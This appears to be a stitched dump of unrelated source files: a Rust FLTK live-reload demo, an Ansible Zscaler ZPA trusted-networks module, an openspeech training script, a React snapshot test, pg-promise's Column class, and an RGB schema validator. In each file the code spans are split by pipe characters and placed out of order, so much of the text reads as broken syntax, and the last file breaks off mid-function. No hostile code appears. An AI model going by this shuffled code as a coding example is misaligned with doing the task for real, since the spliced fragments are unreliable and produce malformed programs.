impl Btns {
fn init() -> Self {
Self {
btn_inc_label: String::new(),
btn_inc_pos: Btnspos::init(),
btn_dec_label: String::new(),
btn_dec_pos: Btnspos::init(),
}
}
}
#[derive(Debug, Deserialize)]
struct Btnspos {
x: i32,
y: i32,
}
impl Btnspos {
fn init() -> Self {
Self { x: 0, y: 0 }
}
}
// Implement LiveReload trait just like so:
impl LiveJson for Btns {}
fn main() -> anyhow::Result<()> {
let app = App::default();
let mut wind = Window::new(100, 100, 400, 300, "Hello from rust");
let mut frame = Frame::default()
.with_size(100, 40)
.center_of(&wind)
.with_label("0"); | .above_of(&frame, 0);
let mut btn_dec = Button::default()
.size_of(&frame)
.with_label("-")
.below_of(&frame, 0);
wind.end();
wind.show();
{
let mut wind = wind.clone();
let btn_dec_lr = btn_dec.clone();
let btn_inc_lr = btn_inc.clone();
let frame = frame.clone();
thread::spawn(move || -> anyhow::Result<()> {
let mut btn_dec = btn_dec_lr;
let mut btn_inc = btn_inc_lr;
let mut btns = Btns::init();
let mut json = PathBuf::new();
{
if let Ok(_pth) = env::var("CARGO_MANIFEST_DIR") {
json = PathBuf::from(_pth);
}
json.push("src/json/Btns.json");
// Reload init json file (optional)
btns.reinit_from_json(&json);
}
// Reset all if function reload_init called.
btn_inc.set_label(&format!("{} +", btns.btn_inc_label));
btn_inc.set_pos(btns.btn_inc_pos.x, btns.btn_inc_pos.y);
btn_dec.set_label(&format!("{} -", btns.btn_dec_label));
btn_dec.set_pos(btns.btn_dec_pos.x, btns.btn_dec_pos.y);
// redraw widgets
wind.redraw();
// Start mutate here
// or 'retry: while let Ok(watching) = btns.reload_from_json(&json) {...
while let Ok(watching) = btns.reload_from_json(&json, 0.6) {
// Set all while mutating.
if watching {
btn_inc.set_label(&format!("{} +", btns.btn_inc_label));
btn_inc.set_pos(btns.btn_inc_pos.x, btns.btn_inc_pos.y);
btn_dec.set_label(&format!("{} -", btns.btn_dec_label));
btn_dec.set_pos(btns.btn_dec_pos.x, btns.btn_dec_pos.y);
wind.redraw();
} else {
// Return to default position if button no longer mutate (usually caused by removing/renaming the json file).
btn_inc.above_of(&frame, 0);
btn_dec.below_of(&frame, 0);
wind.redraw();
// either continue 'retry; and do something else or break the loop, break the loop here for the sake of simple demo example.
break;
}
}
Ok(())
});
}
let mut frame1 = frame.clone();
btn_inc.set_callback(move || {
let label = (frame1.label().parse::<i32>().unwrap() + 1).to_string();
frame1.set_label(&label);
});
let mut frame1 = frame.clone();
btn_dec.set_callback(move || {
let label = (frame1.label().parse::<i32>().unwrap() - 1).to_string();
frame1.set_label(&label);
});
app.run()?;
Ok(())
} | frame.set_label_size(20);
let mut btn_inc = Button::default()
.size_of(&frame)
.with_label("+") |
zpa_trusted_networks.py | from __future__ import absolute_import, division, print_function
__metaclass__ = type
from ansible_collections.willguibr.zpacloud.plugins.module_utils.zpa_client import (
ZPAClientHelper,
delete_none,
)
class TrustedNetworksService:
def __init__(self, module, customer_id):
self.module = module
self.customer_id = customer_id
self.rest = ZPAClientHelper(module)
def getByIDOrName(self, id, name):
network = None
if id is not None:
network = self.getByID(id)
if network is None and name is not None:
network = self.getByName(name)
return network
def getByID(self, id):
|
def getAll(self):
list = self.rest.get_paginated_data(
base_url="/mgmtconfig/v2/admin/customers/%s/network" % (self.customer_id),
data_key_name="list",
)
networks = []
for network in list:
networks.append(self.mapRespJSONToApp(network))
return networks
def getByName(self, name):
networks = self.getAll()
for network in networks:
if network.get("name") == name:
return network
return None
@delete_none
def mapRespJSONToApp(self, resp_json):
if resp_json is None:
return {}
return {
"creation_time": resp_json.get("creationTime"),
"domain": resp_json.get("domain"),
"id": resp_json.get("id"),
"master_customer_id": resp_json.get("masterCustomerId"),
"modified_by": resp_json.get("modifiedBy"),
"modified_time": resp_json.get("modifiedTime"),
"name": resp_json.get("name"),
"network_id": resp_json.get("networkId"),
"zscaler_cloud": resp_json.get("zscalerCloud"),
}
@delete_none
def mapAppToJSON(self, network):
if network is None:
return {}
return {
"creationTime": network.get("creation_time"),
"domain": network.get("domain"),
"id": network.get("id"),
"masterCustomerId": network.get("master_customer_id"),
"modifiedBy": network.get("modified_by"),
"modifiedTime": network.get("modified_time"),
"name": network.get("name"),
"networkId": network.get("network_id"),
"zscalerCloud": network.get("zscaler_cloud"),
}
| response = self.rest.get(
"/mgmtconfig/v1/admin/customers/%s/network/%s" % (self.customer_id, id)
)
status_code = response.status_code
if status_code != 200:
return None
return self.mapRespJSONToApp(response.json) |
hydra_train.py | # MIT License
#
# Copyright (c) 2021 Soohwan Kim and Sangchun Ha and Soyoung Cho | #
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import os
import hydra
import wandb
import pytorch_lightning as pl
from omegaconf import DictConfig, OmegaConf
from pytorch_lightning.utilities import rank_zero_info
from openspeech.tokenizers import TOKENIZER_REGISTRY
from openspeech.datasets import DATA_MODULE_REGISTRY
from openspeech.dataclass.initialize import hydra_train_init
from openspeech.models import MODEL_REGISTRY
from openspeech.utils import parse_configs, get_pl_trainer
@hydra.main(config_path=os.path.join("..", "openspeech", "configs"), config_name="train")
def hydra_main(configs: DictConfig) -> None:
rank_zero_info(OmegaConf.to_yaml(configs))
pl.seed_everything(configs.trainer.seed)
logger, num_devices = parse_configs(configs)
data_module = DATA_MODULE_REGISTRY[configs.dataset.dataset](configs)
data_module.prepare_data()
tokenizer = TOKENIZER_REGISTRY[configs.tokenizer.unit](configs)
data_module.setup(tokenizer=tokenizer)
model = MODEL_REGISTRY[configs.model.model_name](configs=configs, tokenizer=tokenizer)
trainer = get_pl_trainer(configs, num_devices, logger)
trainer.fit(model, data_module)
trainer.test()
if __name__ == '__main__':
hydra_train_init()
hydra_main() | |
LoadingIndicator.test.js | import React from "react";
import LoadingIndicator from ".";
import renderer from "react-test-renderer";
import { ThemeProvider } from "styled-components";
import theme from "../../config/theme";
it("Renders with loading=true", () => {
const tree = renderer
.create( | </ThemeProvider>
)
.toJSON();
expect(tree).toMatchSnapshot();
});
it("Renders with loading=false", () => {
const tree = renderer
.create(
<ThemeProvider theme={theme}>
<LoadingIndicator loading={false} />
</ThemeProvider>
)
.toJSON();
expect(tree).toMatchSnapshot();
}); | <ThemeProvider theme={theme}>
<LoadingIndicator loading={true} /> |
column.js | /*
* Copyright (c) 2015-present, Vitaly Tomilov
*
* See the LICENSE file at the top-level directory of this distribution
* for licensing information.
*
* Removal or modification of this copyright notice is prohibited.
*/
const {InnerState} = require(`../inner-state`);
const {assertOptions} = require(`assert-options`);
const npm = {
os: require(`os`),
utils: require(`../utils`),
formatting: require(`../formatting`),
patterns: require(`../patterns`)
};
/**
*
* @class helpers.Column
* @description
*
* Read-only structure with details for a single column. Used primarily by {@link helpers.ColumnSet ColumnSet}.
*
* The class parses details into a template, to be used for query generation.
*
* @param {string|helpers.ColumnConfig} col
* Column details, depending on the type.
*
* When it is a string, it is expected to contain a name for both the column and the source property, assuming that the two are the same.
* The name must adhere to JavaScript syntax for variable names. The name can be appended with any format modifier as supported by
* {@link formatting.format as.format} (`^`, `~`, `#`, `:csv`, `:list`, `:json`, `:alias`, `:name`, `:raw`, `:value`), which is then removed from the name and put
* into property `mod`. If the name starts with `?`, it is removed, while setting flag `cnd` = `true`.
*
* If the string doesn't adhere to the above requirements, the method will throw {@link external:TypeError TypeError} = `Invalid column syntax`.
*
* When `col` is a simple {@link helpers.ColumnConfig ColumnConfig}-like object, it is used as an input configurator to set all the properties
* of the class.
*
* @property {string} name
* Destination column name + source property name (if `prop` is skipped). The name must adhere to JavaScript syntax for variables,
* unless `prop` is specified, in which case `name` represents only the column name, and therefore can be any non-empty string.
*
* @property {string} [prop]
* Source property name, if different from the column's name. It must adhere to JavaScript syntax for variables.
*
* It is ignored when it is the same as `name`.
*
* @property {string} [mod]
* Formatting modifier, as supported by method {@link formatting.format as.format}: `^`, `~`, `#`, `:csv`, `:list`, `:json`, `:alias`, `:name`, `:raw`, `:value`.
*
* @property {string} [cast]
* Server-side type casting, without `::` in front.
*
* @property {boolean} [cnd]
* Conditional column flag.
*
* Used by methods {@link helpers.update update} and {@link helpers.sets sets}, ignored by methods {@link helpers.insert insert} and
* {@link helpers.values values}. It indicates that the column is reserved for a `WHERE` condition, not to be set or updated.
*
* It can be set from a string initialization, by adding `?` in front of the name. | * Default value for the property, to be used only when the source object doesn't have the property.
* It is ignored when property `init` is set.
*
* @property {helpers.initCB} [init]
* Override callback for the value.
*
* @property {helpers.skipCB} [skip]
* An override for skipping columns dynamically.
*
* Used by methods {@link helpers.update update} (for a single object) and {@link helpers.sets sets}, ignored by methods
* {@link helpers.insert insert} and {@link helpers.values values}.
*
* It is also ignored when conditional flag `cnd` is set.
*
* @returns {helpers.Column}
*
* @see
* {@link helpers.ColumnConfig ColumnConfig},
* {@link helpers.Column#castText castText},
* {@link helpers.Column#escapedName escapedName},
* {@link helpers.Column#variable variable}
*
* @example
*
* const pgp = require('pg-promise')({
* capSQL: true // if you want all generated SQL capitalized
* });
*
* const Column = pgp.helpers.Column;
*
* // creating a column from just a name:
* const col1 = new Column('colName');
* console.log(col1);
* //=>
* // Column {
* // name: "colName"
* // }
*
* // creating a column from a name + modifier:
* const col2 = new Column('colName:csv');
* console.log(col2);
* //=>
* // Column {
* // name: "colName"
* // mod: ":csv"
* // }
*
* // creating a column from a configurator:
* const col3 = new Column({
* name: 'colName', // required
* prop: 'propName', // optional
* mod: '^', // optional
* def: 123 // optional
* });
* console.log(col3);
* //=>
* // Column {
* // name: "colName"
* // prop: "propName"
* // mod: "^"
* // def: 123
* // }
*
*/
class Column extends InnerState {
constructor(col) {
super();
if (typeof col === `string`) {
const info = parseColumn(col);
this.name = info.name;
if (`mod` in info) {
this.mod = info.mod;
}
if (`cnd` in info) {
this.cnd = info.cnd;
}
} else {
col = assertOptions(col, [`name`, `prop`, `mod`, `cast`, `cnd`, `def`, `init`, `skip`]);
if (`name` in col) {
if (!npm.utils.isText(col.name)) {
throw new TypeError(`Invalid 'name' value: ${npm.utils.toJson(col.name)}. A non-empty string was expected.`);
}
if (npm.utils.isNull(col.prop) && !isValidVariable(col.name)) {
throw new TypeError(`Invalid 'name' syntax: ${npm.utils.toJson(col.name)}.`);
}
this.name = col.name; // column name + property name (if 'prop' isn't specified)
if (!npm.utils.isNull(col.prop)) {
if (!npm.utils.isText(col.prop)) {
throw new TypeError(`Invalid 'prop' value: ${npm.utils.toJson(col.prop)}. A non-empty string was expected.`);
}
if (!isValidVariable(col.prop)) {
throw new TypeError(`Invalid 'prop' syntax: ${npm.utils.toJson(col.prop)}.`);
}
if (col.prop !== col.name) {
// optional property name, if different from the column's name;
this.prop = col.prop;
}
}
if (!npm.utils.isNull(col.mod)) {
if (typeof col.mod !== `string` || !isValidMod(col.mod)) {
throw new TypeError(`Invalid 'mod' value: ${npm.utils.toJson(col.mod)}.`);
}
this.mod = col.mod; // optional format modifier;
}
if (!npm.utils.isNull(col.cast)) {
this.cast = parseCast(col.cast); // optional SQL type casting
}
if (`cnd` in col) {
this.cnd = !!col.cnd;
}
if (`def` in col) {
this.def = col.def; // optional default
}
if (typeof col.init === `function`) {
this.init = col.init; // optional value override (overrides 'def' also)
}
if (typeof col.skip === `function`) {
this.skip = col.skip;
}
} else {
throw new TypeError(`Invalid column details.`);
}
}
const variable = `\${` + (this.prop || this.name) + (this.mod || ``) + `}`;
const castText = this.cast ? (`::` + this.cast) : ``;
const escapedName = npm.formatting.as.name(this.name);
this.extendState({variable, castText, escapedName});
Object.freeze(this);
}
/**
* @name helpers.Column#variable
* @type string
* @readonly
* @description
* Full-syntax formatting variable, ready for direct use in query templates.
*
* @example
*
* const cs = new pgp.helpers.ColumnSet([
* 'id',
* 'coordinate:json',
* {
* name: 'places',
* mod: ':csv',
* cast: 'int[]'
* }
* ]);
*
* // cs.columns[0].variable = ${id}
* // cs.columns[1].variable = ${coordinate:json}
* // cs.columns[2].variable = ${places:csv}::int[]
*/
get variable() {
return this._inner.variable;
}
/**
* @name helpers.Column#castText
* @type string
* @readonly
* @description
* Full-syntax sql type casting, if there is any, or else an empty string.
*/
get castText() {
return this._inner.castText;
}
/**
* @name helpers.Column#escapedName
* @type string
* @readonly
* @description
* Escaped name of the column, ready to be injected into queries directly.
*
*/
get escapedName() {
return this._inner.escapedName;
}
}
function parseCast(name) {
if (typeof name === `string`) {
const s = name.replace(/^[:\s]*|\s*$/g, ``);
if (s) {
return s;
}
}
throw new TypeError(`Invalid 'cast' value: ${npm.utils.toJson(name)}.`);
}
function parseColumn(name) {
const m = name.match(npm.patterns.validColumn);
if (m && m[0] === name) {
const res = {};
if (name[0] === `?`) {
res.cnd = true;
name = name.substr(1);
}
const mod = name.match(npm.patterns.hasValidModifier);
if (mod) {
res.name = name.substr(0, mod.index);
res.mod = mod[0];
} else {
res.name = name;
}
return res;
}
throw new TypeError(`Invalid column syntax: ${npm.utils.toJson(name)}.`);
}
function isValidMod(mod) {
return npm.patterns.validModifiers.indexOf(mod) !== -1;
}
function isValidVariable(name) {
const m = name.match(npm.patterns.validVariable);
return !!m && m[0] === name;
}
/**
* @method helpers.Column#toString
* @description
* Creates a well-formatted multi-line string that represents the object.
*
* It is called automatically when writing the object into the console.
*
* @param {number} [level=0]
* Nested output level, to provide visual offset.
*
* @returns {string}
*/
Column.prototype.toString = function (level) {
level = level > 0 ? parseInt(level) : 0;
const gap0 = npm.utils.messageGap(level),
gap1 = npm.utils.messageGap(level + 1),
lines = [
gap0 + `Column {`,
gap1 + `name: ` + npm.utils.toJson(this.name)
];
if (`prop` in this) {
lines.push(gap1 + `prop: ` + npm.utils.toJson(this.prop));
}
if (`mod` in this) {
lines.push(gap1 + `mod: ` + npm.utils.toJson(this.mod));
}
if (`cast` in this) {
lines.push(gap1 + `cast: ` + npm.utils.toJson(this.cast));
}
if (`cnd` in this) {
lines.push(gap1 + `cnd: ` + npm.utils.toJson(this.cnd));
}
if (`def` in this) {
lines.push(gap1 + `def: ` + npm.utils.toJson(this.def));
}
if (`init` in this) {
lines.push(gap1 + `init: [Function]`);
}
if (`skip` in this) {
lines.push(gap1 + `skip: [Function]`);
}
lines.push(gap0 + `}`);
return lines.join(npm.os.EOL);
};
npm.utils.addInspection(Column, function () {
return this.toString();
});
/**
* @typedef helpers.ColumnConfig
* @description
* A simple structure with column details, to be passed into the {@link helpers.Column Column} constructor for initialization.
*
* @property {string} name
* Destination column name + source property name (if `prop` is skipped). The name must adhere to JavaScript syntax for variables,
* unless `prop` is specified, in which case `name` represents only the column name, and therefore can be any non-empty string.
*
* @property {string} [prop]
* Source property name, if different from the column's name. It must adhere to JavaScript syntax for variables.
*
* It is ignored when it is the same as `name`.
*
* @property {string} [mod]
* Formatting modifier, as supported by method {@link formatting.format as.format}: `^`, `~`, `#`, `:csv`, `:list`, `:json`, `:alias`, `:name`, `:raw`, `:value`.
*
* @property {string} [cast]
* Server-side type casting. Leading `::` is allowed, but not needed (automatically removed when specified).
*
* @property {boolean} [cnd]
* Conditional column flag.
*
* Used by methods {@link helpers.update update} and {@link helpers.sets sets}, ignored by methods {@link helpers.insert insert} and
* {@link helpers.values values}. It indicates that the column is reserved for a `WHERE` condition, not to be set or updated.
*
* It can be set from a string initialization, by adding `?` in front of the name.
*
* @property {*} [def]
* Default value for the property, to be used only when the source object doesn't have the property.
* It is ignored when property `init` is set.
*
* @property {helpers.initCB} [init]
* Override callback for the value.
*
* @property {helpers.skipCB} [skip]
* An override for skipping columns dynamically.
*
* Used by methods {@link helpers.update update} (for a single object) and {@link helpers.sets sets}, ignored by methods
* {@link helpers.insert insert} and {@link helpers.values values}.
*
* It is also ignored when conditional flag `cnd` is set.
*
*/
/**
* @callback helpers.initCB
* @description
* A callback function type used by parameter `init` within {@link helpers.ColumnConfig ColumnConfig}.
*
* It works as an override for the corresponding property value in the `source` object.
*
* The function is called with `this` set to the `source` object.
*
* @param {*} col
* Column-to-property descriptor.
*
* @param {object} col.source
* The source object, equals to `this` that's passed into the function.
*
* @param {string} col.name
* Resolved name of the property within the `source` object, i.e. the value of `name` when `prop` is not used
* for the column, or the value of `prop` when it is specified.
*
* @param {*} col.value
*
* Property value, set to one of the following:
*
* - Value of the property within the `source` object (`value` = `source[name]`), if the property exists
* - If the property doesn't exist and `def` is set in the column, then `value` is set to the value of `def`
* - If the property doesn't exist and `def` is not set in the column, then `value` is set to `undefined`
*
* @param {boolean} col.exists
* Indicates whether the property exists in the `source` object (`exists = name in source`).
*
* @returns {*}
* The new value to be used for the corresponding column.
*/
/**
* @callback helpers.skipCB
* @description
* A callback function type used by parameter `skip` within {@link helpers.ColumnConfig ColumnConfig}.
*
* It is to dynamically determine when the property with specified `name` in the `source` object is to be skipped.
*
* The function is called with `this` set to the `source` object.
*
* @param {*} col
* Column-to-property descriptor.
*
* @param {object} col.source
* The source object, equals to `this` that's passed into the function.
*
* @param {string} col.name
* Resolved name of the property within the `source` object, i.e. the value of `name` when `prop` is not used
* for the column, or the value of `prop` when it is specified.
*
* @param {*} col.value
*
* Property value, set to one of the following:
*
* - Value of the property within the `source` object (`value` = `source[name]`), if the property exists
* - If the property doesn't exist and `def` is set in the column, then `value` is set to the value of `def`
* - If the property doesn't exist and `def` is not set in the column, then `value` is set to `undefined`
*
* @param {boolean} col.exists
* Indicates whether the property exists in the `source` object (`exists = name in source`).
*
* @returns {boolean}
* A truthy value that indicates whether the column is to be skipped.
*
*/
module.exports = {Column}; | *
* @property {*} [def] |
schema.rs | // LNP/BP Rust Library
// Written in 2020 by
// Dr. Maxim Orlovsky <[email protected]>
//
// To the extent possible under law, the author(s) have dedicated all
// copyright and related and neighboring rights to this software to
// the public domain worldwide. This software is distributed without
// any warranty.
//
// You should have received a copy of the MIT License
// along with this software.
// If not, see <https://opensource.org/licenses/MIT>.
use std::collections::{BTreeMap, BTreeSet};
use std::io;
use bitcoin::hashes::Hash;
use super::{
vm, DataFormat, ExtensionSchema, GenesisSchema, OwnedRightType,
PublicRightType, SimplicityScript, StateSchema, TransitionSchema,
};
use crate::client_side_validation::{
commit_strategy, CommitEncodeWithStrategy, ConsensusCommit,
};
use crate::features;
// Here we can use usize since encoding/decoding makes sure that it's u16
pub type FieldType = usize;
pub type ExtensionType = usize;
pub type TransitionType = usize;
static MIDSTATE_SHEMA_ID: [u8; 32] = [
0x81, 0x73, 0x33, 0x7c, 0xcb, 0xc4, 0x8b, 0xd1, 0x24, 0x89, 0x65, 0xcd,
0xd0, 0xcd, 0xb6, 0xc8, 0x7a, 0xa2, 0x14, 0x81, 0x7d, 0x57, 0x39, 0x22,
0x28, 0x90, 0x74, 0x8f, 0x26, 0x75, 0x8e, 0xea,
];
sha256t_hash_newtype!(
SchemaId,
SchemaIdTag,
MIDSTATE_SHEMA_ID,
64,
doc = "Commitment-based schema identifier used for committing to the schema type",
false
);
#[derive(Clone, PartialEq, Debug, Default)]
#[cfg_attr(
feature = "serde",
derive(Serialize, Deserialize),
serde(crate = "serde_crate")
)]
pub struct Schema {
#[cfg_attr(
feature = "serde",
serde(with = "serde_with::rust::display_fromstr")
)]
pub rgb_features: features::FlagVec,
#[cfg_attr(
feature = "serde",
serde(with = "serde_with::rust::display_fromstr")
)]
pub root_id: SchemaId,
pub field_types: BTreeMap<FieldType, DataFormat>,
pub owned_right_types: BTreeMap<OwnedRightType, StateSchema>,
pub public_right_types: BTreeSet<PublicRightType>,
pub genesis: GenesisSchema,
pub extensions: BTreeMap<ExtensionType, ExtensionSchema>,
pub transitions: BTreeMap<TransitionType, TransitionSchema>,
}
impl Schema {
#[inline]
pub fn schema_id(&self) -> SchemaId {
self.clone().consensus_commit()
}
// TODO: Change with the adoption of Simplicity
#[inline]
pub fn scripts(&self) -> SimplicityScript {
vec![]
}
}
impl ConsensusCommit for Schema {
type Commitment = SchemaId;
}
impl CommitEncodeWithStrategy for Schema {
type Strategy = commit_strategy::UsingStrict;
}
mod strict_encoding {
use super::*;
use crate::strict_encoding::{
strategies, Error, Strategy, StrictDecode, StrictEncode,
};
// TODO: Use derive macros and generalized `tagged_hash!` in the future
impl Strategy for SchemaId {
type Strategy = strategies::HashFixedBytes;
}
impl StrictEncode for Schema {
type Error = Error;
fn strict_encode<E: io::Write>(
&self,
mut e: E,
) -> Result<usize, Self::Error> {
Ok(strict_encode_list!(e;
self.rgb_features,
self.root_id,
self.field_types,
self.owned_right_types,
self.public_right_types,
self.genesis,
self.extensions,
self.transitions,
// We keep this parameter for future script extended info (like ABI)
Vec::<u8>::new()
))
}
}
impl StrictDecode for Schema {
type Error = Error;
fn strict_decode<D: io::Read>(mut d: D) -> Result<Self, Self::Error> {
let me = Self {
rgb_features: features::FlagVec::strict_decode(&mut d)?,
root_id: SchemaId::strict_decode(&mut d)?,
field_types: BTreeMap::strict_decode(&mut d)?,
owned_right_types: BTreeMap::strict_decode(&mut d)?,
public_right_types: BTreeSet::strict_decode(&mut d)?,
genesis: GenesisSchema::strict_decode(&mut d)?,
extensions: BTreeMap::strict_decode(&mut d)?,
transitions: BTreeMap::strict_decode(&mut d)?,
};
// We keep this parameter for future script extended info (like ABI)
let script = Vec::<u8>::strict_decode(&mut d)?;
if !script.is_empty() {
Err(Error::UnsupportedDataStructure(
"Scripting information is not yet supported",
))
} else {
Ok(me)
}
}
}
}
mod _validation {
use super::*;
use std::collections::BTreeSet;
use crate::client_side_validation::Conceal;
use crate::rgb::contract::nodes::PublicRights;
use crate::rgb::schema::{
script, MetadataStructure, OwnedRightsStructure, PublicRightsStructure,
SchemaVerify,
};
use crate::rgb::{
validation, AssignmentAction, Assignments, Metadata, Node, NodeId,
OwnedRights, OwnedState, ParentOwnedRights, ParentPublicRights,
StateTypes, VirtualMachine,
};
impl SchemaVerify for Schema {
fn schema_verify(&self, root: &Schema) -> validation::Status {
let mut status = validation::Status::new();
if root.root_id != SchemaId::default() {
status.add_failure(validation::Failure::SchemaRootHierarchy(
root.root_id,
));
}
for (field_type, data_format) in &self.field_types {
match root.field_types.get(field_type) {
None => status.add_failure(
validation::Failure::SchemaRootNoFieldTypeMatch(
*field_type,
),
),
Some(root_data_format)
if root_data_format != data_format =>
{
status.add_failure(
validation::Failure::SchemaRootNoFieldTypeMatch(
*field_type,
),
)
}
_ => &status,
};
}
for (assignments_type, state_schema) in &self.owned_right_types {
match root.owned_right_types.get(assignments_type) {
None => status.add_failure(
validation::Failure::SchemaRootNoOwnedRightTypeMatch(*assignments_type),
),
Some(root_state_schema) if root_state_schema != state_schema => status
.add_failure(validation::Failure::SchemaRootNoOwnedRightTypeMatch(
*assignments_type,
)),
_ => &status,
};
}
for valencies_type in &self.public_right_types {
match root.public_right_types.contains(valencies_type) {
false => status.add_failure(
validation::Failure::SchemaRootNoPublicRightTypeMatch(
*valencies_type,
),
),
_ => &status,
};
}
status += self.genesis.schema_verify(&root.genesis);
for (transition_type, transition_schema) in &self.transitions {
if let Some(root_transition_schema) =
root.transitions.get(transition_type)
{
status +=
transition_schema.schema_verify(root_transition_schema);
} else {
status.add_failure(
validation::Failure::SchemaRootNoTransitionTypeMatch(
*transition_type,
),
);
}
}
for (extension_type, extension_schema) in &self.extensions {
if let Some(root_extension_schema) =
root.extensions.get(extension_type)
{
status +=
extension_schema.schema_verify(root_extension_schema);
} else {
status.add_failure(
validation::Failure::SchemaRootNoExtensionTypeMatch(
*extension_type,
),
);
}
}
status
}
}
impl Schema {
pub fn validate(
&self,
all_nodes: &BTreeMap<NodeId, &dyn Node>,
node: &dyn Node,
) -> validation::Status {
let node_id = node.node_id();
let empty_owned_structure = OwnedRightsStructure::default();
let empty_public_structure = PublicRightsStructure::default();
let (
metadata_structure,
parent_owned_structure,
parent_public_structure,
assignments_structure,
valencies_structure,
) = match (node.transition_type(), node.extension_type()) {
(None, None) => {
// Right now we do not have actions to implement; but later
// we may have embedded procedures which must be verified
// here
/*
if let Some(procedure) = self.genesis.abi.get(&GenesisAction::NoOp) {
}
*/
(
&self.genesis.metadata,
&empty_owned_structure,
&empty_public_structure,
&self.genesis.owned_rights,
&self.genesis.public_rights
)
},
(Some(transition_type), None) => {
// Right now we do not have actions to implement; but later
// we may have embedded procedures which must be verified
// here
/*
if let Some(procedure) = transition_type.abi.get(&TransitionAction::NoOp) {
}
*/
let transition_type = match self.transitions.get(&transition_type) {
None => {
return validation::Status::with_failure(
validation::Failure::SchemaUnknownTransitionType(
node_id,
transition_type,
),
)
}
Some(transition_type) => transition_type,
};
(
&transition_type.metadata,
&transition_type.closes,
&empty_public_structure,
&transition_type.owned_rights,
&transition_type.public_rights,
)
}
(None, Some(extension_type)) => {
// Right now we do not have actions to implement; but later
// we may have embedded procedures which must be verified
// here
/*
if let Some(procedure) = extension_type.abi.get(&ExtensionAction::NoOp) {
| None => {
return validation::Status::with_failure(
validation::Failure::SchemaUnknownExtensionType(
node_id,
extension_type,
),
)
}
Some(extension_type) => extension_type,
};
(
&extension_type.metadata,
&empty_owned_structure,
&extension_type.extends,
&extension_type.owned_rights,
&extension_type.extends,
)
}
_ => unreachable!("Node can't be extension and state transition at the same time"),
};
let mut status = validation::Status::new();
let parent_owned_rights = extract_parent_owned_rights(
all_nodes,
node.parent_owned_rights(),
&mut status,
);
let parent_public_rights = extract_parent_public_rights(
all_nodes,
node.parent_public_rights(),
&mut status,
);
status += self.validate_meta(
node_id,
node.metadata(),
metadata_structure,
);
status += self.validate_parent_owned_rights(
node_id,
&parent_owned_rights,
parent_owned_structure,
);
status += self.validate_parent_public_rights(
node_id,
&parent_public_rights,
parent_public_structure,
);
status += self.validate_owned_rights(
node_id,
node.owned_rights(),
assignments_structure,
);
status += self.validate_public_rights(
node_id,
node.public_rights(),
valencies_structure,
);
status += self.validate_state_evolution(
node_id,
node.transition_type(),
&parent_owned_rights,
node.owned_rights(),
node.metadata(),
);
status
}
fn validate_meta(
&self,
node_id: NodeId,
metadata: &Metadata,
metadata_structure: &MetadataStructure,
) -> validation::Status {
let mut status = validation::Status::new();
metadata
.keys()
.collect::<BTreeSet<_>>()
.difference(&metadata_structure.keys().collect())
.for_each(|field_id| {
status.add_failure(
validation::Failure::SchemaUnknownFieldType(
node_id, **field_id,
),
);
});
for (field_type_id, occ) in metadata_structure {
let set =
metadata.get(field_type_id).cloned().unwrap_or(bset!());
// Checking number of field occurrences
if let Err(err) = occ.check(set.len() as u16) {
status.add_failure(
validation::Failure::SchemaMetaOccurencesError(
node_id,
*field_type_id,
err,
),
);
}
let field = self.field_types.get(field_type_id)
.expect("If the field were absent, the schema would not be able to pass the internal validation and we would not reach this point");
for data in set {
status += field.validate(*field_type_id, &data);
}
}
status
}
fn validate_parent_owned_rights(
&self,
node_id: NodeId,
owned_rights: &OwnedRights,
owned_rights_structure: &OwnedRightsStructure,
) -> validation::Status {
let mut status = validation::Status::new();
owned_rights
.keys()
.collect::<BTreeSet<_>>()
.difference(&owned_rights_structure.keys().collect())
.for_each(|owned_type_id| {
status.add_failure(
validation::Failure::SchemaUnknownOwnedRightType(
node_id,
**owned_type_id,
),
);
});
for (owned_type_id, occ) in owned_rights_structure {
let len = owned_rights
.get(owned_type_id)
.map(Assignments::len)
.unwrap_or(0);
// Checking number of ancestor's assignment occurrences
if let Err(err) = occ.check(len as u16) {
status.add_failure(
validation::Failure::SchemaParentOwnedRightOccurencesError(
node_id,
*owned_type_id,
err,
),
);
}
}
status
}
fn validate_parent_public_rights(
&self,
node_id: NodeId,
public_rights: &PublicRights,
public_rights_structure: &PublicRightsStructure,
) -> validation::Status {
let mut status = validation::Status::new();
public_rights.difference(&public_rights_structure).for_each(
|public_type_id| {
status.add_failure(
validation::Failure::SchemaUnknownPublicRightType(
node_id,
*public_type_id,
),
);
},
);
status
}
fn validate_owned_rights(
&self,
node_id: NodeId,
owned_rights: &OwnedRights,
owned_rights_structure: &OwnedRightsStructure,
) -> validation::Status {
let mut status = validation::Status::new();
owned_rights
.keys()
.collect::<BTreeSet<_>>()
.difference(&owned_rights_structure.keys().collect())
.for_each(|assignment_type_id| {
status.add_failure(
validation::Failure::SchemaUnknownOwnedRightType(
node_id,
**assignment_type_id,
),
);
});
for (owned_type_id, occ) in owned_rights_structure {
let len = owned_rights
.get(owned_type_id)
.map(Assignments::len)
.unwrap_or(0);
// Checking number of assignment occurrences
if let Err(err) = occ.check(len as u16) {
status.add_failure(
validation::Failure::SchemaOwnedRightOccurencesError(
node_id,
*owned_type_id,
err,
),
);
}
let assignment = &self
.owned_right_types
.get(owned_type_id)
.expect("If the assignment were absent, the schema would not be able to pass the internal validation and we would not reach this point")
.format;
match owned_rights.get(owned_type_id) {
None => {}
Some(Assignments::Declarative(set)) => {
set.into_iter().for_each(|data| {
status += assignment.validate(
&node_id,
*owned_type_id,
data,
)
})
}
Some(Assignments::DiscreteFiniteField(set)) => {
set.into_iter().for_each(|data| {
status += assignment.validate(
&node_id,
*owned_type_id,
data,
